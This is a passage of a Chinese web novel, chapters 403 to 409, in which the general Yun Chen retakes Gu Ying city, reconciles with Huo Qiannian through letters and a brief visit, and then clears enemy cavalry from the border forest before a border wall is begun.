这十五天来的训跑,累人又无趣,却也强迫人去感受
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和思考。
顶着漆黑泛星的黎明开始,从万丈朝阳到日暮西垂,一路挥汗如雨,最后披星戴月地结束。
风,雨,阳光,花草,树木……
一切最平凡的事物,都成了奔跑途中的风景。
跑过城门口的时候,云琛会想起十几年前初到烟城的情景。
那时的她尚还青涩,准备入城找家武馆歇脚,还不知道自己将认识什么人,走上什么路,不知踏进这道城门,便要遇见将要用一生去爱的人。
路过东市的时候,她又会想起甜坊的糯米糍粑来。
她爱吃甜食,乌梨酥第一,蜂蜜牛乳酪第二,糯米糍粑第三。
入霍帮之后,每每三餐有甜点,她都吃得最欢畅。
但可惜厨子做糯米糍粑的手艺欠点火候,她总是吃不尽兴。
没过几天,霍府新来了位糕点师傅,说是霍乾念钦点的。
呈上的糯米糍粑香甜软糯,甚为可口,云琛一连吃了七八盘,最后硬是叶峮拦着,怕她不消化,才不至于吃吐。
由于那天吃太多有点黏牙的缘故,云琛下午和花绝出去办差,一路上总忍不住舔牙齿,想把上面黏着的糯米弄下来,便时不时发出些“啧啧”砸吧牙花子的动静。
惹得花绝以为她有什么不爽呢,一下午办差都莫名其妙心情忐忑的,连话都少了很多。
最后花绝实在受不了了,一把薅住云琛脖子,道:
“你小子到底对我有什么不满?直说!别整那死出,‘啧啧’个不停,听得我肝颤!”
云琛抠抠牙齿,“也没有太不满,就是下回糯米得多放点水,不然太黏牙了。”
她至今都记得花绝当时的表情,就跟吃了把苍蝇似的,让她想起来一次,就忍不住笑一次。
如今回头看看,霍乾念向她倾斜的心意,其实早就有迹可循,远比她要早得多。
再想起初入霍帮时,那时霍乾念还不知她的恩主是霍阾玉,的确真心实意地替她寻过恩……
想到这里,她忍不住轻轻叹息。
有些事,有些人,一旦开始思念,便一发不可收拾。
等她从坡顶看完夜景、回忆够了,终于回营的时候,一旁趴在地上吃面条的罗东东悄悄问:
“这到哪集了?快复合了吧?”
伏霖回答:“快了,估摸还差最后一步。”
第404章 霍帮故人
十天后,八月二十九,虎威军拔营向南,向固英城发起猛烈的收复之战。
云琛亲自跳上鼓台擂战鼓。
一般军队作战,战鼓,号角,旌旗,三样标志缺一不可,既是战场上传达作战指令的信号,更是鼓舞全军士气的重要法宝。
寻常军队中,战鼓多以树木、骨头、兽皮作鼓,木料作锤。
一军八只鼓,由八名大力士级别的将士负责擂鼓。
但云琛不用那些。
她如今耳朵受伤,听力极差,平日和人说话沟通都费劲。
战场上嘈杂混乱,一般的鼓声她根本听不见,索性命人特制十二个三三丈面的巨大铁皮战鼓,以铁锤击鼓。
鼓声巨响如雷,普通人根本无法敲击,擂一下便会被震得五脏六腑尽碎,只有修**内力或炁者可以擂鼓。
为此,云琛特意向山寂借了十几个无义血卫来擂鼓。
每每冲锋时,十二只战鼓齐发,鼓声咆哮如怒龙,带领着虎威军将士们奋勇厮杀。
鼓声越激烈,鼓点越密集,将士们的情绪越高亢,杀得越兴奋,也令对面的黑领骑兵越发恐惧。
这种精神上的鼓舞,远比黑领骑兵**那套强得多。
再加上还有伏霖、荣易、罗东东那几个不怕死的将领冲锋在前,有“云老虎”于赤目虎头大旗之下擂鼓坐阵。
将士们凭着一腔沸腾热血,大战两天两夜,一口气拿下固英城,终于将黑领骑兵打退到边境线。
到这里,所有丢失的国土与城镇尽数收复。
大捷的消息传遍全国,引来万千百姓振臂欢呼。
再看固英城这边,战罢,依照老规矩,将士们先打扫战场,后重建城邦。
再有就是为褒奖大捷,云琛亲口宣布解禁酒令。
伏霖、荣易和罗东东三个,前脚打完仗,后脚就钻进城中酒馆,跑得没影儿了。
只剩云琛独自一人,一身铠甲染血,站立在固英城门之下。
望着“固英城”的牌匾,那“固”字之下隐隐显露的“困”字,战时的激动情绪慢慢平静,前尘往事缓缓涌上心头。
云琛已经记不清这是第几次重回固英城了。
这座城埋葬了太多良将忠魂,也存着太多她和霍乾念的过往。
生生死死的几千个日夜,她与他都牢牢捆绑在一起,再艰难的绝境都熬过去了,怎么就到了如今这一步。
难道他们的感情也脆弱得不堪一击吗?
她心里乱七八糟,正望着城门出神时,手下亲兵来报,说有霍帮故人求见。
“霍帮?固英城早就没有霍帮堂口了,哪还有霍帮人在这?”她说完,突然心里一紧。
该不会是霍乾念来了吧?
她正想着他,念着他,他便来了?
来恭喜她收复固英城赢得大胜,来看看她是否安好?
想到这里,她撂下一句“叫人去我主帐见!”而后急急策马回帐、换衣、梳洗。
穿起常服的时候,她注意到小臂上有一道伤口,又深又长,虽没大碍,但看着挺吓人。
她心头一动,迅速将袖子挽起,伤口露出,反复调整袖口,努力做出最自然的模样。
她对着镜子左右相看,再三确定霍乾念进门时,必然一眼就能先看到她胳膊上的“重伤”后,她禁不住脸颊有些发热,心里开始想:
一会儿他进来,必要首先问我伤得如何,疼不疼?那到时候我是装一下呢,还是狠狠装一下?
越想越害羞,也越想越期待。
待亲兵在外面通传,说故人已到门口时,她的心瞬间提到了嗓子眼,竟紧张得开始结巴。
“进进进进来吧!”
踏着她第四个“进”字,一道高瘦的身影低头走进帐篷。
云琛像身上安了弹簧似的,“嘭”得从凳子上弹起来,紧张地望向来人。
可当看清来人苍白的面容时,她瞬间失望,又像霜打了的茄子似的,蔫蔫地滑坐回椅子。
来人约莫三十岁上下,长着一张陌生的脸孔。身量高瘦,气质稳重,脸上有才病愈不久的苍白。
他向云琛行礼,笑道:
“云兄弟,好久不见。”
如今云琛这个厉害女将军的名号已四海皆知,虽然她日常还是穿男装居多,但早已不掩饰女性样貌,再没有人喊过她“云兄弟”。
这人像是在古墓里住了三年,还以为她是女扮男装的霍帮亲卫似的。
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但无论如何,既称她一声“云兄弟”,身上又穿着霍帮的护卫服制,就都是老交情。
再加上来人的相貌和声音都有些熟悉,云琛判断此人身份不假,确实是她不太认得的霍帮护卫。
她将失望的情绪抛到一边,热络地请来人坐下喝茶。
“我觉得你好眼熟,我们是不是从前在霍帮一起出过差事?”
来人笑起,答道:“没一起出过差事,但同生共死过一次。”
说着,来人用手挡住下半张脸,叫云琛仔细再想想。
云琛打量着那双眼睛,想了好半天,终于一拍脑袋,惊喜叫道:
“暗卫!当年盗风蚀草时!东炎皇宫里替我引开侍卫追击的暗卫兄弟!”
“哈哈,能被记得是属下的荣幸。”来人再次朝云琛行礼,“属下陆良,一直在昭国养伤,如今伤愈归来,途经固英城,听闻云将军收复城池的好消息,特来拜见。”
云琛激动地一巴掌拍在陆良肩膀上,边招呼亲兵上酒菜,边高兴道:
“行啥礼!别来这套虚的!你是我救命恩人,那风灼草有一半是你的功劳!我一直不知道你是谁,如今终于见面,我一定要好好谢你一场!”
“属下不敢不敢!”陆良连连推辞。
云琛可不管他,硬将人摁坐上酒桌,七八杯酒下肚,陆良才放松许多。
看着云琛已做了那么赫赫有名的虎威大将军,却还是和从前在霍帮时一样,真诚简单,毫无一点架子,陆良整个人慢慢放松下来,朝云琛敬酒道:
“还是云将军您本事好,当时在东炎皇宫,那么重的伤,您还能翻宫墙逃出去,将风灼草平安送给少主,我真佩服您,真的!”
云琛摆手,“那倒也不是。逃出皇宫时,我已经快不行了,得亏有神医救治,才捡回一条小命,风灼草也是让苏菘蓝帮忙带回的。你呢,这三年到哪儿去了,怎么一点消息都没有?”
“难怪您伤好得那么快”陆良说道:“我当时被东炎皇宫的侍卫们围追堵截,逼进死角,身上被砍了八十多刀,又从宫墙头朝下摔出去,少主便叫人送我去昭国安心养伤,养了三年,上个月才痊愈。”
第405章 乱世风雨,和他一起
“我的天!”云琛惊恐地咧嘴,眼睛瞪得溜圆,赶忙为陆良添酒:
“八十多刀,全是为我啊,没砍成肉馅都是老天保佑……来来来,我敬你三杯!”
陆良推辞不过,只得喝下。
云琛又问:“如今全好了吗?有没有留下啥后遗症?”
陆良不好意思地挠挠头,“有点,脚筋被砍断了一根,不好飞檐隐匿了,估计以后做不成暗卫了,我打算转护卫。”
听了这话,云琛顿时揪心。
陆良可是霍帮有史以来最厉害的飞府衔试第一名,不言才拿过第八!
这么优秀的人才,却因为护她而断送了暗卫生涯,云琛一下愧疚得不知怎么才好,在身上口袋摸来摸去,眼神四顾,不知该拿什么补偿陆良。
看出云琛的愧疚心,陆良赶紧制止:
“别别别,少主都补偿过我了,给了我三套大宅,两个堂口,还有黄金玉石,足够我吃喝三辈子了。”
云琛听了,心里好受许多,这非常符合霍乾念的为人作风。
霍乾念对霍帮护卫也好,仆从也罢,从不吝啬酬劳,再加上些许真心和信任在里面,没人不对他忠心耿耿。
但她还是忍不住叹气:“唉!都怪我,要早知道你一直暗中护着我,怎能让你和我一同冒险!”
陆良哈哈笑起来,“少主为了您,恨不得将天捅个稀碎,他说暗中保护,就必得‘暗’得严严实实,不叫您有一丝一毫的负担。少主可舍不得您受罪。”
得,话题又引回霍乾念了。
云琛郁闷地撑着脑袋,不知从何说起。
明明是她提出分手,她甩了霍乾念来着,怎么现在又暗暗期盼霍乾念千里迢迢来看她?
为什么一听到关于霍乾念的事,她心里就无底地发软发酸呢?
真矛盾,她搞不懂自己。
这时,陆良终于发现了云琛胳膊上的伤口,惊叫道:
“这伤好深,您没事吧?怎么不包扎呢?这样晾着可不好!”
云琛将袖子撸下来,有气无力地说,
“没事,反正也没人稀罕,晾就晾吧,晾到透心凉最好!”
听了这话,陆良眼神微转。
这几年,他虽人在国外养伤,但楠国的消息他可一个没落,霍乾念什么时候和云琛好的,什么时候分手的,他全都知道。
瞧了瞧云琛的一脸幽怨,陆良笑道:
“属下有几句话,不知当讲不当讲。”
云琛耳朵聋着,听成了“树下的鸡当咬不当咬”,愣了一下,回答道:
“咬呗,我们后勤养的鸡多,不怕吃,杀一只给你下酒。”
说着云琛就要喊人,陆良哭笑不得,赶紧将她拦住,只能将声音放大,语速再慢些:
“当**,其实还有些是您不知道的,少主不让我说。现在这么多年过去了,我觉得可以说给您听。”
有霍乾念的小秘密听?云琛立马来了兴趣,用力揉揉耳朵,做洗耳恭听状。
陆良道:“那时候,正是皇上还位居东宫,霍帮与玉家争霸楠国财权,一时失利,叫玉家占了上风,公主又坚决求和之时。玉阳基想凭借这机会拿捏少主,更想将你掳到府上去那啥......”
云琛惊了,“玉阳基想把我?啥时候?还有这档子事??”
陆良摆摆手,表示算了,不提玉阳基那死老头子,继续道:
“那时候,玉阳基指名要您做和谈使,公主坚持同意,少主抵死不肯。少主表面上将您逐出霍帮,实际上为了您的安危,早命我等布下后手。为了杜绝后患,那时少主已暗中筹谋,如果公主再逼迫、再拿您做要挟,他便与公主**,先杀公主,后杀玉阳基。”
最后一句话显然给云琛打懵了,惊得她半天说不出话来,掏掏耳朵:
“杀杀杀杀谁?我没听错吧?你再说一遍!”
陆良表情纠结:“额......一遍就行了吧,毕竟现在公主已经登基了,万一被人听到......属下还想多活几年。”
其实陆良是想说,就按他俩现在聊天这音量,表面上看起来是两个人在说话,实际上差不多有二百个人一起听着,帐篷外面听得清清楚楚。
云琛惊呆了,“把所有人杀光来保我?怎么杀?怎么布局?杀完怎么全身而退?先皇和玉家不将他生吞活剥才罢休!疯了吧他?”
“为你,他一直疯着。”
陆良说完,云琛心头一震,浑身鸡皮疙瘩
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都冒了起来。
她了解霍乾念。他既敢布局,就一定做好了万全准备。
杀了公主,嫁祸给玉阳基,再杀玉阳基。每一个步骤都如刀锋行走,一着不慎便是万劫不复。
但霍乾念没有任何迟疑,大不了就同归于尽,只要云琛平安活着,叫他死一万次也行。
云琛心潮涌动,久久无法平静。
真庆幸当初没有走到那极可能万劫不复的地步。
更感慨,霍乾念竟从不提这些往事,也从不拿这些天大的情分来邀功,来攻她的心。
若非陆良此刻开口,只怕她一辈子都不会知道。
曾在她傻傻为被逐出霍帮伤心时,盗取风灼草却自嘲自作多情的时候,他远远比她更疯狂,更决绝。
他早就将她的性命置于自己之上。
可这样深刻的爱情,他从不宣之于口。
同样的,为阻止她冲动报恩而稀里糊涂赔上一生,他明知东窗事发时要面临她的愤怒质问,却还坚持要瞒下梅花破月之事一样。
他永远只做,不说。
站得比她远,看得比她清,却还是包容下她的无情指责,任由她一字一句,将锋利的刀子捅在他心上,他却连一句辩解都没有,一句苛责都舍不得。
他无条件地爱着她的一切,好坏都要,生死都爱。
相比之下,她的情意简直......
她截停自己的愧疚,既不想陷入自证,也不想将时间浪费在无意义的自嘲上。
她冲到书桌前,从案头厚厚一摞信封中,翻出最新的一封,入眼第一句仍旧是:
“卿卿琛儿,思念甚久,愧已成疾......”
她认认真真、一个字一个字地全部读完,眼泪吧嗒吧嗒地落在信纸上。
阿念,我好想你。
她心里这样说。
她想要告诉他,她已明白他的良苦用心,懂他的隐忍和付出。
这纷繁乱世的风雨,她只想和他在一起。
可该怎么说出口呢?
她一没什么文采,二又羞于直白地说“我错了,咱们和好吧”。
思来想去,她展开信纸,提笔落下一行字:
“阿念,‘故英城’好听吗?‘故’字怎么写?”
第406章 你们不懂
阿念,“故英城”好听吗?“故”字怎么写?
短短一行,十三个字,折叠成小小一封,沿着快马信道,向北飞驰。
这下,沿途居住的百姓们都惊奇坏了。
他们已经习惯每天瞧见信兵骑着快马从北过来,匆匆往南,这还是第一次见从南边来的信兵。
关于霍乾念和云琛的爱情故事,在民间说书先生们的渲染下,早已广为流传。
二人分手的事情也传得沸沸扬扬。
故而,分手之后,霍乾念自掏腰包、自雇信兵,亲自从洛疆荒原开辟一条直线最快的快马信道,云琛走到哪里,信道就修到哪里,“叮叮”的马铃声也跟着传到哪里,这故事亦世人皆知。
一开始,信半日即达,再后来一日达到。
到如今,随着狮威军和虎威军各自征战,驻扎越来越远,信从洛疆荒原送到固英城,日夜不停飞马狂奔,已需要整整三天三夜才能到达。
但甭管刮风下雨,战时受伤还是战罢累得直不起腰,霍乾念的信一日都未曾耽误过。
只是从不见有回信。
人们都说,霍将军是可怜的,一片痴情付在顽石上,不知什么时候才能将其捂热。
如今,近四个月时间过去,“顽石”终于有回音了。
瞧着那信马哒哒奔驰,沿着信道一路向洛疆荒原而去,围观的百姓们都忍不住惊奇欢呼。
就连信兵都激动得将座下马儿驾得飞快,一路奔进狮威军营地,巴不得直接骑马冲进霍乾念大帐。
“什么人?”狮威军的将士在营地门口拉起绊马索,拦下信兵。
信兵急急勒马,跑得满头大汗,急道:
“固英城来信!固英城来信!”
那将士愣了一下,随即用力甩开绊马索,朝营地大吼:
“都!让!开——云!将!军!来!信!了!!!”
这一嗓子过去,一瞬的寂静过后,整个营地都炸锅了:
“云老大来信了!”
“云老虎终于回信了!!”
“感谢天!感谢地!感谢信兵兄弟的好消息!!”
“别特娘押韵了!赶紧给信兵兄弟上酒菜!端赏金去!”
将士们情绪激动,嘈杂声逐渐沸腾。
对他们来说,霍乾念是“爹”,云琛是“娘”,他们何尝不希望狮威军和虎威军重修旧好,像从前一样肝胆相照、冲锋杀敌?
喧闹声很快传进大将军主帐。
霍乾念正在帐子里和段捷、叶峮议
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事,提笔写着下一场战略部署。
听见外面乱哄哄的,霍乾念停下笔,不悦皱眉:
“什么事这样乱?我军法哪儿去了?”
未等段捷和叶峮回答,那信兵已急急勒马在帐前,没通传,直接冲进帐子,兴奋道:
“霍将军!固英城来信!!”
霍乾念静静地看着那信兵,一动不动,笔却从手中直直掉落。
叶峮高兴地跳起来,一把拿过信撕开,呈给霍乾念:
“少主!快看写了什么?阿琛的回信!!”
霍乾念抓过信纸,瞪大眼睛去瞧那上面的字,嘴唇微微颤抖,睫毛也跟着颤个不停。
段捷在旁边着急问:“写啥了写啥了?快说啊!”
见霍乾念只是眼圈发红地看着信纸,一句话也不说,段捷好奇得不行,凑过头去看,不解道:
“这什么意思?问你‘故’字怎么写?这不就写在信纸上吗?还是她自己写的!”
霍乾念没有回答。
他将信看了一遍又一遍,而后仔细地对折叠起。
因为手抖得有点厉害,好几次才对齐纸边。
他将信贴着心口放好,声音哽咽,却带着难掩的慌乱和狂喜:
“你们不懂。”
第407章 亲一下,可以吗?
谁都不懂,只有霍乾念懂。
那短短十三个字,看似莫名其妙的一句话,其实就是云琛的“我想你”。
要换作从前,云琛知道,霍乾念必然能瞬间明白她的意思。
可如今数月未见,她不知道那默契还在不在,他还像从前一样懂她的心意吗?
再来信时,是直白地说爱她,还是一笔一画地在纸上告诉她:
我给你说啊,“故”是这样写的,左边一个“古”,右边......
他会说“琛儿,我们和好吧”,这样吗?
他心里有没有一点怨她的无情呢?
她需要认个错吗?
可她又觉得自己没错,造化弄人,他们都没有错。
自从信发出去以后,云琛就这样脑子里乱七八糟想个不停。
因为才打完收复固英城之战,又和陆良喝了整整一夜酒的缘故,再加上心里难受,陆良走后,她直接倒头睡了两天。
再醒来的时候,已是黄昏时分。
她顶着乱糟糟的头发爬起来,掀开帐帘——
只见晚霞潋滟,璀璨如火,一道挺拔的身影正骑着屠狼驹,立在霞光之下,凤眸含水雾,定定地瞧着她。
熟悉的英俊眉眼,耀眼的鲜衣怒马。
霍乾念一身风尘仆仆,温柔哽咽地唤了声:
“琛儿。”
云琛揉揉眼睛,低头想了一会儿,自言自语地说着“喝太多了,酒还没醒呢”,就又准备回帐子睡觉。
直到听见屠狼驹一声不满的轻蹄,她才停住动作,再次望过去,浑身一震,整个人呆在原地。
心里像有烟花“砰砰砰”地接连炸开,她却硬生生咽了口唾沫,摁住那惊喜雀跃,还是不敢相信自己的眼睛,像个石头一样愣愣地杵在原地。
霍乾念跳下马,长身阔步,朝她走来。
没理由的,她突然心里发慌发怯,瞧着那颀长高大的身影步步生风而来,她竟不自觉地往后退。
他进一步,她便退一步。
他再进一步,她便再退一步。
就这么短短几步的功夫,二人便彻底退进了帐子里。
霍乾念不再上前。两人就这么傻傻地站着,对视了许久。
他眼圈发红,眉头心疼地蹙起来,“琛儿,疼不疼?”
云琛反应了一下才明白他在说什么,看向自己受伤的手臂,袖子早已经放下来,只露出短短半寸伤口,不仔细去看,根本看不出。
她扯扯袖子,将伤口盖住,垂下头,低声道:
“不疼了。”
好委屈的一句话,再映着她那张白皙的小脸,小鹿眼微垂泛泪,那般可怜又疼人的模样,霍乾念顿时心头一紧,一酸,大步冲上前。
他想要狠狠地拥抱她,却硬生生攥紧拳头忍住。
她能听
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到他急促的呼吸声就在头顶,但她不敢抬头,这么近距离去看他的眼睛。
她吸吸鼻子,他身上有屠狼驹暴汗的味道,还有他惯爱的梨木清香。
再吸吸鼻子,她想好好闻一闻那思念已久的只属于他的气味,可眼泪已不受控制地先落下。
他慌忙用手去接她的泪珠,浑身去摸帕子给她擦,摸不到,只能牵着袖子帮她擦眼泪,着急地央求道:
“好琛儿,都是我不好,都怪我,你不要哭坏了......”
她被他那手忙脚乱的样子逗笑了,抬起头来,泪眼汪汪地看着他,轻声说:
“你瘦了。”停顿了一下,她又接上两个字:
“阿念。”
他心头一紧,颤抖着轻舒一口气。
像是命悬一线的人终于双脚踏上实地,他心头松懈,眼泪随之慢慢涌上眼眶,委屈道:
“琛儿,你一百二十六天没有这样唤过我。”
见霍乾念竟开始有要哭的架势,云琛赶紧擦掉自己脸上的眼泪,又拿袖子去擦他的脸。
他就势捉住她的手,想要像从前那样在上面吻一口,却又怕她拒绝,只能停下动作,可怜兮兮地问她:
“琛儿,可以吗?”
她脸“唰”地红透,明知故问:
“可以什么?”
他继续小狗可怜巴巴:
“可以亲一下吗?”
第408章 小别胜新婚
亲一下,可以吗?
这话令云琛呼吸一慌,脑海中立马涌出许多香香艳艳的画面。
霍乾念从前每次都哄着她、骗着她、央求着“亲一口”。
结果就是这里“一口”,那里“一口”,非要将她快剥光了才罢休。
好几回惹得她脖子上一片红痕,穿衣服都挡不住,简直没脸见人。
想到这里,云琛脸红得快烧起来,害羞地偏过头,用蚊子一样轻的声音说:
“可以。”
说罢,她闭上眼睛,已做好迎接那啥的准备。
然而他真的只是捧起她的手,在她手背上轻轻啄了一下。
“吧唧”一声,空气陷入沉默。
看着她一脸错愕,他眨巴着眼睛,明知故问:
“怎么了,为什么这样看着我?”
“我以为......”她话说到一半赶紧截住,尴尬地清清嗓子,招呼他落座,脸仍旧通红通红的。
他乖乖听话坐下,嘴角却勾起一抹得逞的笑容。
帐篷外,一大群人里三层外三层地围着,全将耳朵贴在帐篷壁上。
一边听,一边捂嘴偷笑。
一个离得有点远的人压低嗓子问:
“亲了没亲了没?”
离帐篷最近的一圈人齐刷刷狠狠点头,作口型道:
“亲了亲了!”
有人两眼发光,急问:
“亲哪儿了?”
未等得到回答,荣易已经过来赶人:
“去去去!里面是绝密军情!谁敢偷听?”
众人坏笑:“啥样的军情?不穿衣服的那种?”
“哈哈哈哈哈——”
“滚!别胡说八道!”荣易笑骂:“老大的玩笑都敢开,不想活了?”
众人又是一阵哄笑。
待所有人散开后,荣易装模作样地左右看看,然后迅速将耳朵贴上帐篷,听得无比专注。
刚从酒肆里窝了三天三夜回来的罗东东,见状也凑上来。他还招呼伏霖一起,但后者并没有理会。
荣易将耳朵使劲贴紧帐篷,嘴里嘀咕:
“怎么听不见动静呢?”
罗东东则两眼直冒贼光:
“有呢有呢!有水声!听见了!”
荣易忍不住感叹:“不愧是霍将军,没日没夜玩命驾马来的,一刻钟都没歇呢,立马就有力气上阵,真佩服!”
“开玩笑,憋了好几个月呢!”
“估计这火得泄三天。”
“那还吃饭喝水吗?”
“废话,吃饭能有睡觉香吗?”
“嘿嘿嘿嘿......”
对于两人这黄得快溢出来的荤话,一旁的伏霖无奈摇头。
他走到从歇马到现在、还在因为过度赶路而不停呕吐的屠狼驹身边,摸摸它的鬃**,拍拍它的背,心疼道:
“瞧那家伙不要命的。”
……
……
俗话说“小别胜新婚”。
所有人都以为,霍乾念这一来,必定要在云琛帐子里窝上十天半个月才肯。
谁知,天还没黑,一盏茶刚喝完,霍乾念就出来了,身上还是来时穿的衣服,压根没脱。
云琛跟在他后面慢吞吞地走着,安静地瞧着他翻身上马,一句话不说,但小眼神可怜至极,嘴巴紧紧抿着,一副快要哭的表情。
一旁的荣易和罗东东惊讶坏了:
“霍将军,你......你这就走了?才一个时辰,不多待会儿吗?”
霍乾念笑笑:“不了,两日后要与洛疆新王会面,耽误不得。”
荣易和罗东东瞪大眼睛,不知道该佩服霍乾念“就这么点时间你还巴巴地跑来,就为和云琛喝个茶”,还是该说“别装了,会面哪有你家琛儿重要”?
俩人说不出话,只能去看云琛的反应。
然而云琛什么也没多说,只对霍乾念说了句“路上小心”。
霍乾念点点头:“琛儿,等我。”
云琛亦点头答应,像是被迫接受现实,不再期待他会突然回心转意留下来,轻轻叹了口气,朝他挥手再见。
霍乾念随即勒马转身,不再多说一句。
但跑出去几丈,他又停下来,勒马回头,走回云琛身边。
当着所有人的面,他俯下身,亲了亲她的发顶,立马引得周围人一阵“哎呦”“哎呦”的起哄。
云琛红着脸摸摸头发,害羞地笑。
霍乾念这才狠狠驾马,彻底绝尘远去。
这一幕给周围人看得一愣一愣的:
“什么情况?没和好?”
“和好了吧?刚不还亲了一口吗?一步三回头的。”
“那还这么急着走?草!好吊我的胃口!”
“啊啊啊我好急!我要追上霍将军问个明白!到底复合了没有?”
荣易则望着霍乾念的背影,眯起
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眼睛,无比崇拜地感慨道:
“一情书,二缥缈岛,三是那个什么陆良,现在又是这。环环相扣,步步勾引,真是好阴险的攻心计,好毒辣的泡妞招!这声‘祖师爷’我先叫为敬!”
罗东东听不太懂,他看向远处已远成一个“小点”的霍乾念,再看看云琛仍痴痴凝望的样子,皱眉道:
“俺听不懂啥计啥招的,但俺感觉,老大的魂好像跟着霍将军走了,接下来俺们可能没有好日子过了......”
众人叽叽喳喳热烈地讨论着,只有伏霖没有作声。
他和云琛一样望着远方,喃喃道:
“可怜的屠狼驹,还没吐完呢……”
……
……
霍乾念走后第五天,快马信道再次响起哒哒的马蹄声。
这一次,不再是单方面从洛疆荒原方向发出,而是有来有往,洛疆来一封,固英城回一封。
洛疆那边像是得到回应和鼓励似的,越发热烈起劲,不只送信,还附带各种礼物。
第一次是块檀木黑漆的鎏金牌匾,上书“故英城”三个大字;
第二次是沉甸甸的大红绸礼盒,散发着奶酒奶皮子的香味;
第三次,马屁股后面直接扛了半头风干牛……
往来的信兵们忙忙碌碌,擦肩而过,不时在沿途驿点停下来吃茶。
两个说书先生时常在路边等候,拿着纸和笔,观察并向他们打听“霍云恋”的最新进展。
很快,其他说书先生们陆续加入行列,开始扎堆。摊贩瞅准机会,在路边摆起酒肆。
有酒就得有肉,卤肉摊子也很快支起来,紧跟着是甜水摊子,粉汤摊子……
一个接一个,沿途凑成大大小小的集市,成功带动了地方经济。
人们戏称这信马快道为“思云生财道”。
“霍云恋”的故事也在说书先生们“欲知恋情如何,且听下回分解”的渲染下,以各种狗血的版本大肆流传。
人们都期待着俩人复合的那一天。
或者说,老百姓们像久旱逢甘霖似的,太盼着大好的消息。
盼望着北患平定、东南大安,两位将军令四海升平的那一天。
到那时,将会有一场旷世豪华的婚礼,来为这苦难流离的三年画上句点。
以如日中天的“霍云”强强联合,再次开启楠国的盛世安乐。
第409章 前朝遗风
罗东东是个憨厚的农村娃,最爱瞎说大实话。
这不,霍乾念走的那天,罗东东前脚刚说完:感觉老大的魂好像跟着霍将军走了,接下来可能没有好日子过;后脚,云琛就开始了惨无人道“猎杀清剿”。
黑鳞骑兵的好日子到头,终极噩梦终于到来。
从幽州到固英城——如今已是故英城,虎威军一路胜进,一路就地征兵,再加上东昭国拿走以香消崖支付的十万新军,队伍很快扩充到十九万,骑兵军也重建起来。
黑鳞骑兵则连环惨败,队伍越打越少。
如今已只剩五万人马不到,窝在边境森林里,似乎还不肯死心退出楠国,还想伺机再战。
到了这般地步,敌人在暗我在明,强攻不得,火烧森林又太伤民生。
对此,云琛剑走偏锋,想出一套又绝又妙的歪招。
她派出四万骑兵步兵,分成十六只队伍,从东、南、西、北、东南、东北、西南、西北八个方位,轮番沿森林边缘向中心搜索。
白天,她命步兵们地毯式前进,骑兵不停踱马奔跑,作出全军大举进攻的架势,吓得黑鳞骑兵根本不敢露头,只能往森林更深处逃窜;
夜晚,她又给步兵们人手一面惊锣疯狂敲击,命骑兵伴着惊天的锣鼓声快速推进,龙卷风般杀过黑鳞骑兵的窝藏点。
就这么日夜不停地搞噪音、迅速杀,不给黑鳞骑兵一丁点喘息的机会。
黑鳞骑兵们正喝着水呢,虎威军来了;
正拉着屎呢,虎威军骑兵的马蹄子踹过来了;
刚闭上眼睛想眯一会儿,虎威军的刀就横在脖子上了。
逼得黑鳞骑兵们拖着疲惫到极点的身子没命狂奔,越来越往边境线外撤去。
经过半个月一连三十七场猎杀清剿过后,越来越多的黑鳞骑兵窝点来不及撤退,被虎威军陆续发现并捣毁。
更有许多体力跟不上、已到极限的黑鳞骑兵们开始落单,被虎威军的将士挨个击杀。
罗东东瞅准一个脖子伸出去二里地、两条腿却还落在后头、跑得比乌龟还慢的黑鳞骑兵,两步冲上去将人踹倒。
那黑鳞骑兵已经几天几夜没吃没喝没睡觉,被踹倒后,索性直接瘫在地上,不起来,不反抗,俨然一副“你就弄死我吧”的架势,开口骂道:
“你们……你们‘云老虎’是不是有什么毛病啊??半个月了……没完没了……疯了吧??!!”
罗东东这几天跟着云琛冲锋,周围全是六个时辰不间断的马蹄声和锣鼓声,耳朵遭老罪了。
他用力揉揉发蒙的耳朵,像云琛似的侧着脑袋,将一只耳朵伸过去,问道:
“你说啥?‘没头没脚,分了吧?’啥意思,叫俺给你分尸?好家伙,第一次听见这种要求。”
那黑鳞骑兵仰天翻个白眼,骂了句“操”,随即被罗东东一刀送去见阎王。
瞅着地上的黑鳞骑兵,罗东东嫌弃道:
“俺们可不像你们变态,俺家将军人品好,不许侮辱尸体。你想分尸,还是等林子里野兽来帮你吧!”
说完,罗东东望了眼不远处还在带队搜索的云琛,忍不住感慨:
“俺家老大魂跟着霍将军走了,只剩一肚子相思愁苦无法解,正好拿你们撒撒气。但我说老大啊,你稍微歇歇行吗,我耳朵受不了啊,快和你一样聋了……”
又半个月后,经过连续不断的地毯式清扫,除了一些零散的小队,边境已几乎看不见黑鳞骑兵的踪迹。
云琛下令全军十九万人,除留守营地和固英城的,其他将士全部投入垒砌边境之事,开始筑起连绵数千余里的边境线。
所谓边境线,并不是什么足以阻挡敌军进犯的通天长城,只是一人高的矮墙,用最普通的石块、土砖和荆棘垒砌。
虽然没有什么防御能力,但一来,规则即边界,别看矮矮一堵墙,任何敌人在破坏和翻越它之前,都要好好掂量下正式向楠国宣战的后果。
二来,对于楠国的老百姓们来说,他们不懂什么叫鸣金收兵、地毯式清扫,他们只知道,当边境墙开始垒砌的那一刻,意味着战争真的要结束了。
那种心理上“战争将尽、和平将迎”的踏实感,是什么也无法代替的。
因此,云琛花了很大心思和精力在垒砌边境线的事务上。
楠国幅员辽阔,她如今**的整个东部、东南、南部,其边境线绵延数千里,途经森林、湖泊、高山、荒野,地形复杂难筑,难度不小,耗时也不少,她预计最快也得修筑两年才能完成。
她将这想法写信告诉霍乾念,很快得到了回应。
霍乾念说,他也命狮威军开始修筑边境线,他从北往南,她由南向北,待边境线修筑汇合之时,便是狮威虎威大军会师之时,他们便可以一起携手回京了。
收到霍乾念这样一封回信的时候,云琛愣了半天。
她将那薄薄的信纸举到眼睛跟前,对着光反反复复看了七八次,问旁边幸灾乐祸发笑的荣易:
“你帮我看看,确定一下,阿念写的是不是‘边境线汇合之时和我见面’?搞错了吧,那要两年后了?我是不是瞎了,看花眼了?”
荣易憋住笑,一面心说“霍将军真是闷骚恋爱界的天才,两年不见?他能忍住俩月都算极限!”,一面咳嗽两声
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清清嗓子,拿过云琛手中信,装模作样道:
“老大,别急,你容我想想怎么替霍将军狡辩。”
云琛一听,看来不是她眼瞎,是霍乾念竟然真打算两年后才跟她见面。
她不禁瞬间泄气,身子弯了,背也弓了,肩膀也耷拉下来了。
那垂头丧气的样子惹得荣易绷不住,哈哈大笑起来,而后靠近云琛,神神秘秘坏笑道:
